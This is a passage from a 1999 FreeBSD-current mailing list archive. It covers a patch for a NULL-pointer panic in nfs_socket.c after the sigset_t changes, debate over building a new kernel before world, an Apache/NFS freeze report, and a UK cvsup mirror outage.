References: <37F23064.98EEBC67@scc.nl>
	<199909291848.LAA22988@vashon.polstra.com>
X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid
Reply-To: nate@mt.sri.com (Nate Williams)
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> Following up on my previous mail regarding the panic on the Alpha,
> I've been looking at the diff for the code in question, in
> "src/sys/nfs/nfs_socket.c":
> 
> @@ -1501,14 +1502,16 @@
>         struct nfsreq *rep;
>         register struct proc *p;
>  {
> +       sigset_t tmpset;
>  
> +       tmpset = p->p_siglist;
> +       SIGSETNAND(tmpset, p->p_sigmask);
> +       SIGSETNAND(tmpset, p->p_sigignore);
>         if (rep && (rep->r_flags & R_SOFTTERM))
>                 return (EINTR);
>         if (!(nmp->nm_flag & NFSMNT_INT))
>                 return (0);
> -       if (p && p->p_siglist &&
> -           (((p->p_siglist & ~p->p_sigmask) & ~p->p_sigignore) &
> -           NFSINT_SIGMASK))
> +       if (p && SIGNOTEMPTY(p->p_siglist) && NFSINT_SIGMASK(tmpset))
>                 return (EINTR);
>         return (0);
>  }
> 
> It looks like the old code was prepared for "p" to be NULL, but the
> new code assumes it is non-NULL.

Am I missing something?

 -       if (p && p->p_siglist &&
 -           (((p->p_siglist & ~p->p_sigmask) & ~p->p_sigignore) &
 -           NFSINT_SIGMASK))
 +       if (p && SIGNOTEMPTY(p->p_siglist) && NFSINT_SIGMASK(tmpset))

The 
	if (p ....

in both cases checks for an null p.  Or, am I missing something?



Nate


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 12: 6:25 1999
Delivered-To: freebsd-current@freebsd.org
Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74])
	by hub.freebsd.org (Postfix) with ESMTP id 3119D155BB
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 12:06:19 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13])
	by wall.polstra.com (8.9.3/8.9.3) with ESMTP id MAA17143;
	Wed, 29 Sep 1999 12:06:10 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: (from jdp@localhost)
	by vashon.polstra.com (8.9.3/8.9.1) id MAA23025;
	Wed, 29 Sep 1999 12:06:09 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Message-ID: <XFMail.990929120609.jdp@polstra.com>
X-Mailer: XFMail 1.3 [p0] on FreeBSD
X-Priority: 3 (Normal)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit
MIME-Version: 1.0
In-Reply-To: <199909291902.NAA24329@mt.sri.com>
Date: Wed, 29 Sep 1999 12:06:09 -0700 (PDT)
Organization: Polstra & Co., Inc.
From: John Polstra <jdp@polstra.com>
To: Nate Williams <nate@mt.sri.com>
Subject: Re: HEADS UP: sigset_t changes committed
Cc: current@FreeBSD.ORG, marcel@scc.nl
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


Nate Williams wrote:
>> Following up on my previous mail regarding the panic on the Alpha,
>> I've been looking at the diff for the code in question, in
>> "src/sys/nfs/nfs_socket.c":
>> 
>> @@ -1501,14 +1502,16 @@
>>         struct nfsreq *rep;
>>         register struct proc *p;
>>  {
>> +       sigset_t tmpset;
>>  
>> +       tmpset = p->p_siglist;
>> +       SIGSETNAND(tmpset, p->p_sigmask);
>> +       SIGSETNAND(tmpset, p->p_sigignore);
>>         if (rep && (rep->r_flags & R_SOFTTERM))
>>                 return (EINTR);
>>         if (!(nmp->nm_flag & NFSMNT_INT))
>>                 return (0);
>> -       if (p && p->p_siglist &&
>> -           (((p->p_siglist & ~p->p_sigmask) & ~p->p_sigignore) &
>> -           NFSINT_SIGMASK))
>> +       if (p && SIGNOTEMPTY(p->p_siglist) && NFSINT_SIGMASK(tmpset))
>>                 return (EINTR);
>>         return (0);
>>  }
>> 
>> It looks like the old code was prepared for "p" to be NULL, but the
>> new code assumes it is non-NULL.
> 
> Am I missing something?
> 
>  -       if (p && p->p_siglist &&
>  -           (((p->p_siglist & ~p->p_sigmask) & ~p->p_sigignore) &
>  -           NFSINT_SIGMASK))
>  +       if (p && SIGNOTEMPTY(p->p_siglist) && NFSINT_SIGMASK(tmpset))
> 
> The 
>       if (p ....
> 
> in both cases checks for an null p.  Or, am I missing something?

You're missing the use of "p->p_siglist" that was added at the top
of the function.

John


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 12: 8:18 1999
Delivered-To: freebsd-current@freebsd.org
Received: from ns.mt.sri.com (ns.mt.sri.com [206.127.79.91])
	by hub.freebsd.org (Postfix) with ESMTP id 1CA471593E
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 12:07:56 -0700 (PDT)
	(envelope-from nate@mt.sri.com)
Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100])
	by ns.mt.sri.com (8.9.3/8.9.3) with SMTP id NAA24292;
	Wed, 29 Sep 1999 13:07:52 -0600 (MDT)
	(envelope-from nate@rocky.mt.sri.com)
Received: by mt.sri.com (SMI-8.6/SMI-SVR4)
	id NAA24394; Wed, 29 Sep 1999 13:07:51 -0600
Date: Wed, 29 Sep 1999 13:07:51 -0600
Message-Id: <199909291907.NAA24394@mt.sri.com>
From: Nate Williams <nate@mt.sri.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: John Polstra <jdp@polstra.com>
Cc: Nate Williams <nate@mt.sri.com>, current@FreeBSD.ORG,
	marcel@scc.nl
Subject: Re: HEADS UP: sigset_t changes committed
In-Reply-To: <XFMail.990929120609.jdp@polstra.com>
References: <199909291902.NAA24329@mt.sri.com>
	<XFMail.990929120609.jdp@polstra.com>
X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid
Reply-To: nate@mt.sri.com (Nate Williams)
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> Nate Williams wrote:
> >> Following up on my previous mail regarding the panic on the Alpha,
> >> I've been looking at the diff for the code in question, in
> >> "src/sys/nfs/nfs_socket.c":
> >> 
> >> @@ -1501,14 +1502,16 @@
> >>         struct nfsreq *rep;
> >>         register struct proc *p;
> >>  {
> >> +       sigset_t tmpset;
> >>  
> >> +       tmpset = p->p_siglist;
> >> +       SIGSETNAND(tmpset, p->p_sigmask);
> >> +       SIGSETNAND(tmpset, p->p_sigignore);
> >>         if (rep && (rep->r_flags & R_SOFTTERM))
> >>                 return (EINTR);
> >>         if (!(nmp->nm_flag & NFSMNT_INT))
> >>                 return (0);
> >> -       if (p && p->p_siglist &&
> >> -           (((p->p_siglist & ~p->p_sigmask) & ~p->p_sigignore) &
> >> -           NFSINT_SIGMASK))
> >> +       if (p && SIGNOTEMPTY(p->p_siglist) && NFSINT_SIGMASK(tmpset))
> >>                 return (EINTR);
> >>         return (0);
> >>  }
> >> 
> >> It looks like the old code was prepared for "p" to be NULL, but the
> >> new code assumes it is non-NULL.
> > 
> > Am I missing something?
> > 
> >  -       if (p && p->p_siglist &&
> >  -           (((p->p_siglist & ~p->p_sigmask) & ~p->p_sigignore) &
> >  -           NFSINT_SIGMASK))
> >  +       if (p && SIGNOTEMPTY(p->p_siglist) && NFSINT_SIGMASK(tmpset))
> > 
> > The 
> >       if (p ....
> > 
> > in both cases checks for an null p.  Or, am I missing something?
> 
> You're missing the use of "p->p_siglist" that was added at the top
> of the function.

Whoops, thanks for pointing that out.

Just call me 'mole-eyed Nate'. *sigh*



Nate


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 12:14:25 1999
Delivered-To: freebsd-current@freebsd.org
Received: from post.mail.nl.demon.net (post-10.mail.nl.demon.net [194.159.73.20])
	by hub.freebsd.org (Postfix) with ESMTP id 81D1E158D2
	for <current@freebsd.org>; Wed, 29 Sep 1999 12:14:15 -0700 (PDT)
	(envelope-from marcel@scc.nl)
Received: from [212.238.132.94] (helo=scones.sup.scc.nl)
	by post.mail.nl.demon.net with esmtp (Exim 2.02 #1)
	id 11WPB7-00071x-00; Wed, 29 Sep 1999 19:14:14 +0000
Received: from scc.nl (scones.sup.scc.nl [192.168.2.4])
	by scones.sup.scc.nl (8.9.3/8.9.3) with ESMTP id VAA18472;
	Wed, 29 Sep 1999 21:14:13 +0200 (CEST)
	(envelope-from marcel@scc.nl)
Message-ID: <37F26505.5579E11@scc.nl>
Date: Wed, 29 Sep 1999 21:14:13 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Organization: SCC vof
X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.5 i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Doug <Doug@gorean.org>
Cc: current@FreeBSD.org
Subject: Re: HEADS UP: sigset_t changes committed
References: <Pine.BSF.4.10.9909291153030.31379-100000@dt014n8c.san.rr.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Doug wrote:
> 
> On Wed, 29 Sep 1999, Marcel Moolenaar wrote:
> 
>         Is there any way at all that we can change this process so that
> building the kernel first is not required?

IIRC, you can use -DNOTOOLS. In that case the current tools are assumed
to be sufficient for building world. But, you can't do an installworld
as part of that, because eventually the new binaries that are installed
get used by the install process (/bin/sh for example).

In short: you need a new kernel for the newly compiled binaries to run.

> Those of us involved in
> educating users about the make world process spend a lot of time telling
> them not to do this. It's amazing how long and how tenaciously "one-time"
> exceptions like this stick in their minds.

I understand, but the new syscalls simply need to be in the kernel
before you can run the binaries that use them. Using -DNOTOOLS you can
delay that moment until just before doing the installworld, but you
can't avoid it.

I hope and trust that users understand that this is an exception...

>         That said, I think that your commit messages were models of
> excellence, and this work looks like something that will benefit the
> project for a long time down the road.

Thanks!

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 12:19:28 1999
Delivered-To: freebsd-current@freebsd.org
Received: from post.mail.nl.demon.net (post-10.mail.nl.demon.net [194.159.73.20])
	by hub.freebsd.org (Postfix) with ESMTP id 3E95B158D2
	for <current@freebsd.org>; Wed, 29 Sep 1999 12:18:14 -0700 (PDT)
	(envelope-from marcel@scc.nl)
Received: from [212.238.132.94] (helo=scones.sup.scc.nl)
	by post.mail.nl.demon.net with esmtp (Exim 2.02 #1)
	id 11WPEy-00079M-00; Wed, 29 Sep 1999 19:18:12 +0000
Received: from scc.nl (scones.sup.scc.nl [192.168.2.4])
	by scones.sup.scc.nl (8.9.3/8.9.3) with ESMTP id VAA18507;
	Wed, 29 Sep 1999 21:18:04 +0200 (CEST)
	(envelope-from marcel@scc.nl)
Message-ID: <37F265EC.715E5DD@scc.nl>
Date: Wed, 29 Sep 1999 21:18:04 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Organization: SCC vof
X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.5 i386)
X-Accept-Language: en
MIME-Version: 1.0
To: John Polstra <jdp@polstra.com>
Cc: current@freebsd.org
Subject: Re: HEADS UP: sigset_t changes committed
References: <XFMail.990929115722.jdp@polstra.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

John Polstra wrote:
> 
> Marcel Moolenaar wrote:
> > John Polstra wrote:
> >>             strip
> >>     #       doscmd \
> >>     .endif
> >
> > It doesn't give me any problems...
> 
> Weird!  It doesn't seem like the Alpha make should be different.

As a first "guess": Either sendsig/sigreturn or setjmp/longjmp caused
this...

> Yes, I agree.  The old code also assumed it wouldn't be 0.

Ok, this should do it. If it looks good to you, I'll commit this...

Index: nfs_socket.c
===================================================================
RCS file: /home/ncvs/src/sys/nfs/nfs_socket.c,v
retrieving revision 1.55
diff -u -r1.55 nfs_socket.c
--- nfs_socket.c        1999/09/29 15:03:47     1.55
+++ nfs_socket.c        1999/09/29 18:58:13
@@ -1504,15 +1504,19 @@
 {
        sigset_t tmpset;
 
-       tmpset = p->p_siglist;
-       SIGSETNAND(tmpset, p->p_sigmask);
-       SIGSETNAND(tmpset, p->p_sigignore);
        if (rep && (rep->r_flags & R_SOFTTERM))
                return (EINTR);
        if (!(nmp->nm_flag & NFSMNT_INT))
+               return (0);
+       if (p == NULL)
                return (0);
-       if (p && SIGNOTEMPTY(p->p_siglist) && NFSINT_SIGMASK(tmpset))
+
+       tmpset = p->p_siglist;
+       SIGSETNAND(tmpset, p->p_sigmask);
+       SIGSETNAND(tmpset, p->p_sigignore);
+       if (SIGNOTEMPTY(p->p_siglist) && NFSINT_SIGMASK(tmpset))
                return (EINTR);
+
        return (0);
 }

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 12:28: 6 1999
Delivered-To: freebsd-current@freebsd.org
Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74])
	by hub.freebsd.org (Postfix) with ESMTP id 7636D15975
	for <current@freebsd.org>; Wed, 29 Sep 1999 12:24:31 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13])
	by wall.polstra.com (8.9.3/8.9.3) with ESMTP id MAA17232;
	Wed, 29 Sep 1999 12:24:30 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: (from jdp@localhost)
	by vashon.polstra.com (8.9.3/8.9.1) id MAA23058;
	Wed, 29 Sep 1999 12:24:29 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Message-ID: <XFMail.990929122429.jdp@polstra.com>
X-Mailer: XFMail 1.3 [p0] on FreeBSD
X-Priority: 3 (Normal)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit
MIME-Version: 1.0
In-Reply-To: <37F265EC.715E5DD@scc.nl>
Date: Wed, 29 Sep 1999 12:24:29 -0700 (PDT)
Organization: Polstra & Co., Inc.
From: John Polstra <jdp@polstra.com>
To: Marcel Moolenaar <marcel@scc.nl>
Subject: Re: HEADS UP: sigset_t changes committed
Cc: current@freebsd.org
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Marcel Moolenaar wrote:
> 
> Ok, this should do it. If it looks good to you, I'll commit this...

Yes, it looks fine to me.  You may not be able to commit it right
away, though.  It looks like freefall is down.  Maybe they're putting
in the new disk.

I'll try the patch a little bit later today, after I finish some other
things I have to do.  I'm also going to add a panic if nmp==NULL in my
local version, so that if it still fails I can get a reasonable stack
trace.

John


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 12:39:49 1999
Delivered-To: freebsd-current@freebsd.org
Received: from dt014n8c.san.rr.com (dt011n66.san.rr.com [204.210.13.102])
	by hub.freebsd.org (Postfix) with ESMTP id CF314159C8
	for <freebsd-current@freebsd.org>; Wed, 29 Sep 1999 12:29:00 -0700 (PDT)
	(envelope-from Doug@gorean.org)
Received: from localhost (doug@localhost)
	by dt014n8c.san.rr.com (8.9.3/8.8.8) with ESMTP id MAA32467
	for <freebsd-current@freebsd.org>; Wed, 29 Sep 1999 12:28:59 -0700 (PDT)
	(envelope-from Doug@gorean.org)
Date: Wed, 29 Sep 1999 12:28:59 -0700 (PDT)
From: Doug <Doug@gorean.org>
X-Sender: doug@dt014n8c.san.rr.com
To: freebsd-current@freebsd.org
Subject: Weird sockname errors with -current and apache
Message-ID: <Pine.BSF.4.10.9909291220320.32400-100000@dt014n8c.san.rr.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Greetings,

	I'm using -current on some web server/CGI processing machines. Yes
I know all about using -current on production stuff, but we need the NFS,
et al fixes due to the heavy NFS client activity on these systems, and
I'm willing to take the good with the bad. I cvsup'ed and built world and
kernel on or about 8/26 and these boxes ran fine for about 26 days. On
9/22 (Wednesday) I cvsup'ed and built world and kernel on one machine in
order to take advantage of Matt's latest round of NFS, etc. fixes. That
box ran well for two days so I updated the rest of them on Friday (9/24)
and took off for a happy weekend. Well, you know what happened, one box
locked up on saturday, I came in and rebooted it, then the other 4 boxes
locked up on sunday. *sigh*

	The really annoying thing here is that there isn't ONE clear problem
that I can point to. Also, when the boxes die they wedge solid. No
console, serial or otherwise, and no DDB so I can't find out exactly
what they are doing when they die. I have the DDB_UNATTENDED option in
the kernel because I have the boxes set up to recover themselves on boot
and go back into service (previous to the 26 day uptime panics were
common). I'm starting to think I should disable that, however as far as
I can see they aren't panic'ing, they are just freezing up; although
they are ping'able. We started out this project with Apache 1.3.6, and
on Sept. 7 we moved to 1.3.9. These are dual PIII 500 machines with a
half gig of ram each. 

	The other annoying thing is that while I was checking the kernel, etc.
logs for signs of problems, it hadn't occured to me to check the apache
error log. Once I did I noticed that at least some of the symptoms I'm
seeing go back as far as I have logs, even before the blessed 26 day
uptime period. Here is what I've seen.

The first errror I can find in any of the logs I have that seems related
to the problem is this from apache's error log:

[Fri Aug 20 10:59:34 1999] [error] (22)Invalid argument: getsockname

consequently I've noticed that we get this error a LOT, usually
coinciding with a period of time where the machine is wedged, after
which it sometimes comes back, and sometimes doesn't (i.e., it stays
wedged). When this happens it usually repeats about 15-20 times,
followed by:

Virtual memory exceeded in `new' 

then a NULL character (^@) in the apache log. Those errors are usually
accompanied by a slew of "Premature end of script headers" messages,
apparently related to CGI process that these web servers run dying off
before it finishes writing out its data. 

	We also have a slew of these errors in the apache logs at various
times (doesn't *seem* to be a correlation with the others, but I'm not
sure) that look like:

[Mon Sep 13 12:51:03 1999] [warn] child process 82600 still did not
exit, sending a SIGTERM
[Mon Sep 13 12:51:03 1999] [warn] child process 83437 still did not
exit, sending a SIGTERM
[Mon Sep 13 12:51:03 1999] [warn] child process 84136 still did not
exit, sending a SIGTERM
[Mon Sep 13 12:51:03 1999] [warn] child process 83698 still did not
exit, sending a SIGTERM
[Mon Sep 13 12:51:03 1999] [warn] child process 83703 still did not
exit, sending a SIGTERM

Sometimes these happen at the same time, sometimes they don't. When this
one happens we get about 40 of them in a row. 

	In the system logs the only unusual thing I've seen (and I enable a LOT
of logging) are these messages, which started over this past weekend. 

/kernel: calcru: negative time of 4347162 usec for pid 6806 (httpd) 

Once again, when these come they come in bunches, sometimes with a
positive time value like this one, sometimes with a negative one. I'm
used to seeing calcru messages related to the kernel misjudging the
speed of the processor, but the recently added code that tells you the
speed on SMP systems says that I have CPU: Pentium III (498.75-MHz
686-class CPU), which looks right to me.

	Now, as if the above were not annoying enough, all of these
problems could very well be related to the third party CGI processing
engine (a program called Miva) which we have tracked down some bugs in
before. Of course the machines freezing up is my main concern at this
point, but the errors themselves could be coming from miva. 

	Any suggestions on how to debug this problem further would be
greatly appreciated. I'm going to start up some boxes today that don't
have the DDB_UNATTENDED option enabled to see if they will in fact panic
and drop to the debugger. Beyond that, I'm at a bit of a loss here. 

TIA,

Doug



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 12:53:18 1999
Delivered-To: freebsd-current@freebsd.org
Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74])
	by hub.freebsd.org (Postfix) with ESMTP id 676B914A15
	for <current@freebsd.org>; Wed, 29 Sep 1999 12:52:48 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13])
	by wall.polstra.com (8.9.3/8.9.3) with ESMTP id MAA17367;
	Wed, 29 Sep 1999 12:52:46 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: (from jdp@localhost)
	by vashon.polstra.com (8.9.3/8.9.1) id MAA23115;
	Wed, 29 Sep 1999 12:52:46 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Message-ID: <XFMail.990929125245.jdp@polstra.com>
X-Mailer: XFMail 1.3 [p0] on FreeBSD
X-Priority: 3 (Normal)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit
MIME-Version: 1.0
In-Reply-To: <37F265EC.715E5DD@scc.nl>
Date: Wed, 29 Sep 1999 12:52:45 -0700 (PDT)
Organization: Polstra & Co., Inc.
From: John Polstra <jdp@polstra.com>
To: Marcel Moolenaar <marcel@scc.nl>
Subject: Re: HEADS UP: sigset_t changes committed
Cc: current@freebsd.org
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Marcel Moolenaar wrote:
> 
> Ok, this should do it. If it looks good to you, I'll commit this...

I'm running it now, and so far it seems to have solved the problem.

Could you also please get rid of that "# doscmd \" line from
usr.bin/Makefile?

Thanks,
John


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 13:11: 7 1999
Delivered-To: freebsd-current@freebsd.org
Received: from florence.pavilion.net (florence.pavilion.net [194.242.128.25])
	by hub.freebsd.org (Postfix) with ESMTP
	id C8ECC15961; Wed, 29 Sep 1999 13:10:26 -0700 (PDT)
	(envelope-from joe@florence.pavilion.net)
Received: (from joe@localhost)
	by florence.pavilion.net (8.9.3/8.8.8) id VAA01818;
	Wed, 29 Sep 1999 21:10:19 +0100 (BST)
	(envelope-from joe)
Date: Wed, 29 Sep 1999 21:10:19 +0100
From: Josef Karthauser <joe@pavilion.net>
To: Bob Bishop <rb@gid.co.uk>
Cc: current@FreeBSD.ORG, hackers@FreeBSD.ORG
Subject: Re: my repository is broken (more)
Message-ID: <19990929211018.G86792@florence.pavilion.net>
References: <l0302090ab417f4fbdd0e@[194.32.164.2]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre2i
In-Reply-To: <l0302090ab417f4fbdd0e@[194.32.164.2]>
X-NCC-RegID: uk.pavilion
Organisation: Pavilion Internet plc, 24 The Old Steine, Brighton, BN1 1EL, England
Phone: +44-845-333-5000
Fax: +44-845-333-5001
Mobile: +44-403-596893
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Wed, Sep 29, 1999 at 04:58:34PM +0000, Bob Bishop wrote:
> Hi,
> 
> I wrote:
> >	===> usr.sbin/lpr/filters.ru
> >	===> usr.sbin/lpr/filters.ru/koi2alt
> >	make: don't know how to make koi2alt.c. Stop
> >
> >Apparently because...
> >
> >	ache        1999/09/22 19:54:45 PDT
> >
> >	  Removed files:
> >	    usr.sbin/lpr/filters.ru koi2alt.c
> >	  Log:
> >	  moved to koi2alt
> >
> >...never made it here. What's the easiest way to get back in step? TIA
> 
> I now suspect that cvsup.uk.freebsd.org isn't up-to-date. Anyone know anything?

Oops, it's public now. (bows head in shame.)  

Yes, there was a problem with the main UK cvsup server, from about the 19th.
I updated the machine to 3.3, and reinstalled all the ports.  Unfortunately
the cvsup-mirror port hadn't been updated (John did it today) to reflect the
changes made earlier in the year.  We now pull from cvsup-master, not freefall!
Thus, since the 19th we've been failing authentication and I didn't notice, cause
the internat stuff, which happens first, was working, and secondly, my home machine
doesn't currently have an internet connection because the I4B code hasn't been
ported to Stable and thus PPPoISDN doesn't work anymore.  I say anymore because
the other machine that it _was_ working on was running Brian's development copy
and the harddrive went *bang* for reasons of old age!

In summary - sorry, try again.  'Tis working now :)

Joe
-- 
Josef Karthauser	FreeBSD: How many times have you booted today?
Technical Manager	Viagra for your server (http://www.uk.freebsd.org)
Pavilion Internet plc.  [joe@pavilion.net, joe@uk.freebsd.org, joe@tao.org.uk]


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 13:52: 6 1999
Delivered-To: freebsd-current@freebsd.org
Received: from foobar.franken.de (foobar.franken.de [194.94.249.81])
	by hub.freebsd.org (Postfix) with ESMTP id A133114D8E
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 13:51:46 -0700 (PDT)
	(envelope-from logix@foobar.franken.de)
Received: (from logix@localhost)
	by foobar.franken.de (8.8.8/8.8.5) id WAA26661;
	Wed, 29 Sep 1999 22:48:47 +0200 (CEST)
Message-ID: <19990929224847.A26394@foobar.franken.de>
Date: Wed, 29 Sep 1999 22:48:47 +0200
From: Harold Gutch <logix@foobar.franken.de>
To: Doug <Doug@gorean.org>, Marcel Moolenaar <marcel@scc.nl>
Cc: current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
References: <37F23064.98EEBC67@scc.nl> <Pine.BSF.4.10.9909291153030.31379-100000@dt014n8c.san.rr.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.93.2i
In-Reply-To: <Pine.BSF.4.10.9909291153030.31379-100000@dt014n8c.san.rr.com>; from Doug on Wed, Sep 29, 1999 at 11:55:23AM -0700
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Wed, Sep 29, 1999 at 11:55:23AM -0700, Doug wrote:
> On Wed, 29 Sep 1999, Marcel Moolenaar wrote:
> 
> > I just finished committing the sigset_t changes I worked on for the last
> > 5 weeks.
> > 
> > Before attempting to build world, you must make and install a new
> > kernel. The new kernel will contain new syscalls that are needed during
> > build world. doscmd is currently not being build because it needs fixing
> > first.
> 
> 	Is there any way at all that we can change this process so that
> building the kernel first is not required? Those of us involved in
> educating users about the make world process spend a lot of time telling
> them not to do this. It's amazing how long and how tenaciously "one-time"
> exceptions like this stick in their minds. 
> 
Those users shouldn't track (or run) -CURRENT.

bye,
  Harold

-- 
<Shabby> Sleep is an abstinence syndrome wich occurs due to lack of caffein.
Wed Mar  4 04:53:33 CET 1998   #unix, ircnet


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 14: 6:18 1999
Delivered-To: freebsd-current@freebsd.org
Received: from dt014n8c.san.rr.com (dt011n66.san.rr.com [204.210.13.102])
	by hub.freebsd.org (Postfix) with ESMTP id A07C1150F7
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 14:04:42 -0700 (PDT)
	(envelope-from Doug@gorean.org)
Received: from localhost (doug@localhost)
	by dt014n8c.san.rr.com (8.9.3/8.8.8) with ESMTP id OAA33314;
	Wed, 29 Sep 1999 14:04:27 -0700 (PDT)
	(envelope-from Doug@gorean.org)
Date: Wed, 29 Sep 1999 14:04:27 -0700 (PDT)
From: Doug <Doug@gorean.org>
X-Sender: doug@dt014n8c.san.rr.com
To: Harold Gutch <logix@foobar.franken.de>
Cc: Marcel Moolenaar <marcel@scc.nl>, current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
In-Reply-To: <19990929224847.A26394@foobar.franken.de>
Message-ID: <Pine.BSF.4.10.9909291401330.33311-100000@dt014n8c.san.rr.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Wed, 29 Sep 1999, Harold Gutch wrote:

> On Wed, Sep 29, 1999 at 11:55:23AM -0700, Doug wrote:
> > On Wed, 29 Sep 1999, Marcel Moolenaar wrote:
> > 
> > > I just finished committing the sigset_t changes I worked on for the last
> > > 5 weeks.
> > > 
> > > Before attempting to build world, you must make and install a new
> > > kernel. The new kernel will contain new syscalls that are needed during
> > > build world. doscmd is currently not being build because it needs fixing
> > > first.
> > 
> > 	Is there any way at all that we can change this process so that
> > building the kernel first is not required? Those of us involved in
> > educating users about the make world process spend a lot of time telling
> > them not to do this. It's amazing how long and how tenaciously "one-time"
> > exceptions like this stick in their minds. 
> > 
> Those users shouldn't track (or run) -CURRENT.

	My, isn't that a clever solution. Problem is, in N number of
months -Current will be -Stable. Not to mention that every time someone
has to upgrade from -Stable to -Current from now on (for entirely
legitimate reasons) they will have to do this unique procedure. This is
really a much bigger problem than people seem to realize (however
necessary it may ultimately turn out to be). 

Doug
-- 
"Stop it, I'm gettin' misty." 

    - Mel Gibson as Porter, "Payback"



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 14:17:40 1999
Delivered-To: freebsd-current@freebsd.org
Received: from foobar.franken.de (foobar.franken.de [194.94.249.81])
	by hub.freebsd.org (Postfix) with ESMTP id B70C21501E
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 14:15:41 -0700 (PDT)
	(envelope-from logix@foobar.franken.de)
Received: (from logix@localhost)
	by foobar.franken.de (8.8.8/8.8.5) id XAA26734;
	Wed, 29 Sep 1999 23:12:53 +0200 (CEST)
Message-ID: <19990929231253.B26394@foobar.franken.de>
Date: Wed, 29 Sep 1999 23:12:53 +0200
From: Harold Gutch <logix@foobar.franken.de>
To: Doug <Doug@gorean.org>
Cc: Marcel Moolenaar <marcel@scc.nl>, current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
